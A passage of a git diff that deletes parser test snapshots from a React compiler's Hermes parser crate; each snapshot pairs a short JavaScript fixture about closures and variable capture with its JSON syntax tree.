-                          "range": [
-                            109,
-                            116
-                          ]
-                        },
-                        "loc": null,
-                        "range": [
-                          105,
-                          116
-                        ]
-                      },
-                      "directive": null,
-                      "loc": null,
-                      "range": [
-                        105,
-                        117
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    82,
-                    121
-                  ]
-                },
-                "generator": false,
-                "async": false,
-                "loc": null,
-                "range": [
-                  70,
-                  121
-                ],
-                "loc": null,
-                "range": [
-                  70,
-                  121
-                ]
-              },
-              "arguments": [],
-              "loc": null,
-              "range": [
-                69,
-                124
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              69,
-              125
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "y",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                136,
-                137
-              ]
-            },
-            "loc": null,
-            "range": [
-              129,
-              138
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          19,
-          140
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        140
-      ],
-      "loc": null,
-      "range": [
-        0,
-        140
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    140
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capturing-function-alias-computed-load-4.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capturing-function-alias-computed-load-4.js.snap
deleted file mode 100644
index 4879e1584b8e..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capturing-function-alias-computed-load-4.js.snap
+++ /dev/null
@@ -1,319 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/capturing-function-alias-computed-load-4.js
----
-Input:
-function bar(a) {
-  let x = [a];
-  let y = {};
-  (function () {
-    y = x[0].a[1];
-  })();
-
-  return y;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "bar",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "a",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            13,
-            14
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    24,
-                    25
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [
-                    {
-                      "type": "Identifier",
-                      "name": "a",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        29,
-                        30
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    28,
-                    31
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  24,
-                  31
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              20,
-              32
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    39,
-                    40
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [],
-                  "loc": null,
-                  "range": [
-                    43,
-                    45
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  39,
-                  45
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              35,
-              46
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "FunctionExpression",
-                "id": null,
-                "params": [],
-                "body": {
-                  "type": "BlockStatement",
-                  "body": [
-                    {
-                      "type": "ExpressionStatement",
-                      "expression": {
-                        "type": "AssignmentExpression",
-                        "operator": "=",
-                        "left": {
-                          "type": "Identifier",
-                          "name": "y",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            68,
-                            69
-                          ]
-                        },
-                        "right": {
-                          "type": "MemberExpression",
-                          "object": {
-                            "type": "MemberExpression",
-                            "object": {
-                              "type": "MemberExpression",
-                              "object": {
-                                "type": "Identifier",
-                                "name": "x",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  72,
-                                  73
-                                ]
-                              },
-                              "property": {
-                                "type": "NumericLiteral",
-                                "value": 0.0,
-                                "loc": null,
-                                "range": [
-                                  74,
-                                  75
-                                ]
-                              },
-                              "computed": true,
-                              "loc": null,
-                              "range": [
-                                72,
-                                76
-                              ]
-                            },
-                            "property": {
-                              "type": "Identifier",
-                              "name": "a",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                77,
-                                78
-                              ]
-                            },
-                            "computed": false,
-                            "loc": null,
-                            "range": [
-                              72,
-                              78
-                            ]
-                          },
-                          "property": {
-                            "type": "NumericLiteral",
-                            "value": 1.0,
-                            "loc": null,
-                            "range": [
-                              79,
-                              80
-                            ]
-                          },
-                          "computed": true,
-                          "loc": null,
-                          "range": [
-                            72,
-                            81
-                          ]
-                        },
-                        "loc": null,
-                        "range": [
-                          68,
-                          81
-                        ]
-                      },
-                      "directive": null,
-                      "loc": null,
-                      "range": [
-                        68,
-                        82
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    62,
-                    86
-                  ]
-                },
-                "generator": false,
-                "async": false,
-                "loc": null,
-                "range": [
-                  50,
-                  86
-                ],
-                "loc": null,
-                "range": [
-                  50,
-                  86
-                ]
-              },
-              "arguments": [],
-              "loc": null,
-              "range": [
-                49,
-                89
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              49,
-              90
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "y",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                101,
-                102
-              ]
-            },
-            "loc": null,
-            "range": [
-              94,
-              103
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          16,
-          105
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        105
-      ],
-      "loc": null,
-      "range": [
-        0,
-        105
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    105
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capturing-function-alias-computed-load.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capturing-function-alias-computed-load.js.snap
deleted file mode 100644
index c993ad1cc562..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capturing-function-alias-computed-load.js.snap
+++ /dev/null
@@ -1,282 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/capturing-function-alias-computed-load.js
----
-Input:
-function bar(a) {
-  let x = [a];
-  let y = {};
-  (function () {
-    y = x[0];
-  })();
-
-  return y;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "bar",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "a",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            13,
-            14
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    24,
-                    25
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [
-                    {
-                      "type": "Identifier",
-                      "name": "a",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        29,
-                        30
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    28,
-                    31
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  24,
-                  31
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              20,
-              32
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    39,
-                    40
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [],
-                  "loc": null,
-                  "range": [
-                    43,
-                    45
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  39,
-                  45
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              35,
-              46
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "FunctionExpression",
-                "id": null,
-                "params": [],
-                "body": {
-                  "type": "BlockStatement",
-                  "body": [
-                    {
-                      "type": "ExpressionStatement",
-                      "expression": {
-                        "type": "AssignmentExpression",
-                        "operator": "=",
-                        "left": {
-                          "type": "Identifier",
-                          "name": "y",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            68,
-                            69
-                          ]
-                        },
-                        "right": {
-                          "type": "MemberExpression",
-                          "object": {
-                            "type": "Identifier",
-                            "name": "x",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              72,
-                              73
-                            ]
-                          },
-                          "property": {
-                            "type": "NumericLiteral",
-                            "value": 0.0,
-                            "loc": null,
-                            "range": [
-                              74,
-                              75
-                            ]
-                          },
-                          "computed": true,
-                          "loc": null,
-                          "range": [
-                            72,
-                            76
-                          ]
-                        },
-                        "loc": null,
-                        "range": [
-                          68,
-                          76
-                        ]
-                      },
-                      "directive": null,
-                      "loc": null,
-                      "range": [
-                        68,
-                        77
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    62,
-                    81
-                  ]
-                },
-                "generator": false,
-                "async": false,
-                "loc": null,
-                "range": [
-                  50,
-                  81
-                ],
-                "loc": null,
-                "range": [
-                  50,
-                  81
-                ]
-              },
-              "arguments": [],
-              "loc": null,
-              "range": [
-                49,
-                84
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              49,
-              85
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "y",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                96,
-                97
-              ]
-            },
-            "loc": null,
-            "range": [
-              89,
-              98
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          16,
-          100
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        100
-      ],
-      "loc": null,
-      "range": [
-        0,
-        100
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    100
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capturing-function-capture-ref-before-rename.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capturing-function-capture-ref-before-rename.js.snap
deleted file mode 100644
index 01f066c9efd0..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capturing-function-capture-ref-before-rename.js.snap
+++ /dev/null
@@ -1,486 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/capturing-function-capture-ref-before-rename.js
----
-Input:
-function component(a, b) {
-  let z = { a };
-  (function () {
-    mutate(z);
-  })();
-  let y = z;
-
-  {
-    // z is shadowed & renamed but the lambda is unaffected.
-    let z = { b };
-    y = { y, z };
-  }
-  return y;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "a",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            20
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "b",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            22,
-            23
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "z",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    33,
-                    34
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          39,
-                          40
-                        ]
-                      },
-                      "value": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          39,
-                          40
-                        ]
-                      },
-                      "kind": "init",
-                      "method": false,
-                      "shorthand": true,
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        39,
-                        40
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    37,
-                    42
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  33,
-                  42
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              29,
-              43
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "FunctionExpression",
-                "id": null,
-                "params": [],
-                "body": {
-                  "type": "BlockStatement",
-                  "body": [
-                    {
-                      "type": "ExpressionStatement",
-                      "expression": {
-                        "type": "CallExpression",
-                        "callee": {
-                          "type": "Identifier",
-                          "name": "mutate",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            65,
-                            71
-                          ]
-                        },
-                        "arguments": [
-                          {
-                            "type": "Identifier",
-                            "name": "z",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              72,
-                              73
-                            ]
-                          }
-                        ],
-                        "loc": null,
-                        "range": [
-                          65,
-                          74
-                        ]
-                      },
-                      "directive": null,
-                      "loc": null,
-                      "range": [
-                        65,
-                        75
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    59,
-                    79
-                  ]
-                },
-                "generator": false,
-                "async": false,
-                "loc": null,
-                "range": [
-                  47,
-                  79
-                ],
-                "loc": null,
-                "range": [
-                  47,
-                  79
-                ]
-              },
-              "arguments": [],
-              "loc": null,
-              "range": [
-                46,
-                82
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              46,
-              83
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    90,
-                    91
-                  ]
-                },
-                "init": {
-                  "type": "Identifier",
-                  "name": "z",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    94,
-                    95
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  90,
-                  95
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              86,
-              96
-            ]
-          },
-          {
-            "type": "BlockStatement",
-            "body": [
-              {
-                "type": "VariableDeclaration",
-                "kind": "let",
-                "declarations": [
-                  {
-                    "type": "VariableDeclarator",
-                    "id": {
-                      "type": "Identifier",
-                      "name": "z",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        171,
-                        172
-                      ]
-                    },
-                    "init": {
-                      "type": "ObjectExpression",
-                      "properties": [
-                        {
-                          "type": "Property",
-                          "key": {
-                            "type": "Identifier",
-                            "name": "b",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              177,
-                              178
-                            ]
-                          },
-                          "value": {
-                            "type": "Identifier",
-                            "name": "b",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              177,
-                              178
-                            ]
-                          },
-                          "kind": "init",
-                          "method": false,
-                          "shorthand": true,
-                          "computed": false,
-                          "loc": null,
-                          "range": [
-                            177,
-                            178
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        175,
-                        180
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      171,
-                      180
-                    ]
-                  }
-                ],
-                "loc": null,
-                "range": [
-                  167,
-                  181
-                ]
-              },
-              {
-                "type": "ExpressionStatement",
-                "expression": {
-                  "type": "AssignmentExpression",
-                  "operator": "=",
-                  "left": {
-                    "type": "Identifier",
-                    "name": "y",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      186,
-                      187
-                    ]
-                  },
-                  "right": {
-                    "type": "ObjectExpression",
-                    "properties": [
-                      {
-                        "type": "Property",
-                        "key": {
-                          "type": "Identifier",
-                          "name": "y",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            192,
-                            193
-                          ]
-                        },
-                        "value": {
-                          "type": "Identifier",
-                          "name": "y",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            192,
-                            193
-                          ]
-                        },
-                        "kind": "init",
-                        "method": false,
-                        "shorthand": true,
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          192,
-                          193
-                        ]
-                      },
-                      {
-                        "type": "Property",
-                        "key": {
-                          "type": "Identifier",
-                          "name": "z",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            195,
-                            196
-                          ]
-                        },
-                        "value": {
-                          "type": "Identifier",
-                          "name": "z",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            195,
-                            196
-                          ]
-                        },
-                        "kind": "init",
-                        "method": false,
-                        "shorthand": true,
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          195,
-                          196
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      190,
-                      198
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    186,
-                    198
-                  ]
-                },
-                "directive": null,
-                "loc": null,
-                "range": [
-                  186,
-                  199
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              100,
-              203
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "y",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                213,
-                214
-              ]
-            },
-            "loc": null,
-            "range": [
-              206,
-              215
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          25,
-          217
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        217
-      ],
-      "loc": null,
-      "range": [
-        0,
-        217
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    217
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capturing-function-conditional-capture-mutate.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capturing-function-conditional-capture-mutate.js.snap
deleted file mode 100644
index 70ad163c8fcb..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capturing-function-conditional-capture-mutate.js.snap
+++ /dev/null
@@ -1,343 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/capturing-function-conditional-capture-mutate.js
----
-Input:
-// @debug
-function component(a, b) {
-  let z = { a };
-  let y = b;
-  let x = function () {
-    if (y) {
-      // we don't know for sure this mutates, so we should assume
-      // that there is no mutation so long as `x` isn't called
-      // during render
-      maybeMutate(z);
-    }
-  };
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          19,
-          28
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "a",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            29,
-            30
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "b",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            32,
-            33
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "z",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    43,
-                    44
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          49,
-                          50
-                        ]
-                      },
-                      "value": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          49,
-                          50
-                        ]
-                      },
-                      "kind": "init",
-                      "method": false,
-                      "shorthand": true,
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        49,
-                        50
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    47,
-                    52
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  43,
-                  52
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              39,
-              53
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    60,
-                    61
-                  ]
-                },
-                "init": {
-                  "type": "Identifier",
-                  "name": "b",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    64,
-                    65
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  60,
-                  65
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              56,
-              66
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    73,
-                    74
-                  ]
-                },
-                "init": {
-                  "type": "FunctionExpression",
-                  "id": null,
-                  "params": [],
-                  "body": {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "IfStatement",
-                        "test": {
-                          "type": "Identifier",
-                          "name": "y",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            99,
-                            100
-                          ]
-                        },
-                        "consequent": {
-                          "type": "BlockStatement",
-                          "body": [
-                            {
-                              "type": "ExpressionStatement",
-                              "expression": {
-                                "type": "CallExpression",
-                                "callee": {
-                                  "type": "Identifier",
-                                  "name": "maybeMutate",
-                                  "typeAnnotation": null,
-                                  "loc": null,
-                                  "range": [
-                                    262,
-                                    273
-                                  ]
-                                },
-                                "arguments": [
-                                  {
-                                    "type": "Identifier",
-                                    "name": "z",
-                                    "typeAnnotation": null,
-                                    "loc": null,
-                                    "range": [
-                                      274,
-                                      275
-                                    ]
-                                  }
-                                ],
-                                "loc": null,
-                                "range": [
-                                  262,
-                                  276
-                                ]
-                              },
-                              "directive": null,
-                              "loc": null,
-                              "range": [
-                                262,
-                                277
-                              ]
-                            }
-                          ],
-                          "loc": null,
-                          "range": [
-                            102,
-                            283
-                          ]
-                        },
-                        "alternate": null,
-                        "loc": null,
-                        "range": [
-                          95,
-                          283
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      89,
-                      287
-                    ]
-                  },
-                  "generator": false,
-                  "async": false,
-                  "loc": null,
-                  "range": [
-                    77,
-                    287
-                  ],
-                  "loc": null,
-                  "range": [
-                    77,
-                    287
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  73,
-                  287
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              69,
-              288
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                298,
-                299
-              ]
-            },
-            "loc": null,
-            "range": [
-              291,
-              300
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          35,
-          302
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        10,
-        302
-      ],
-      "loc": null,
-      "range": [
-        10,
-        302
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    10,
-    302
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capturing-function-decl.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capturing-function-decl.js.snap
deleted file mode 100644
index fd5c1d1eaa4b..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capturing-function-decl.js.snap
+++ /dev/null
@@ -1,286 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/capturing-function-decl.js
----
-Input:
-function component(a) {
-  let t = { a };
-  function x() {
-    t.foo();
-  }
-  x(t);
-  return t;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "a",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            20
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "t",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    30,
-                    31
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          36,
-                          37
-                        ]
-                      },
-                      "value": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          36,
-                          37
-                        ]
-                      },
-                      "kind": "init",
-                      "method": false,
-                      "shorthand": true,
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        36,
-                        37
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    34,
-                    39
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  30,
-                  39
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              26,
-              40
-            ]
-          },
-          {
-            "type": "FunctionDeclaration",
-            "id": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                52,
-                53
-              ]
-            },
-            "params": [],
-            "body": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "CallExpression",
-                    "callee": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "t",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          62,
-                          63
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "foo",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          64,
-                          67
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        62,
-                        67
-                      ]
-                    },
-                    "arguments": [],
-                    "loc": null,
-                    "range": [
-                      62,
-                      69
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    62,
-                    70
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                56,
-                74
-              ]
-            },
-            "generator": false,
-            "async": false,
-            "loc": null,
-            "range": [
-              43,
-              74
-            ],
-            "loc": null,
-            "range": [
-              43,
-              74
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "x",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  77,
-                  78
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "t",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    79,
-                    80
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                77,
-                81
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              77,
-              82
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "t",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                92,
-                93
-              ]
